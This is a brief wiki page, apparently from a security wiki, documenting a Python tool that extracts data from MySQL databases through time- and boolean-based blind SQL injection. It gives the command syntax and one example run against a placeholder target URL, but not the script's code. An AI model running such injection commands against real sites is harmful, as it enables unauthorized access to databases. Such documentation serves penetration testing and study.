{{info|<center>This script uses time and boolean based blind [[SQL injection]] to obtain the desired information from MySQL database.</center>}}

=Info=
The syntax of this script is:
  python bsqli.py -u [url] -i [injection]
==Example==
  python bsqli.py -u "http://target.com/?id=1%27" -i "select database()"
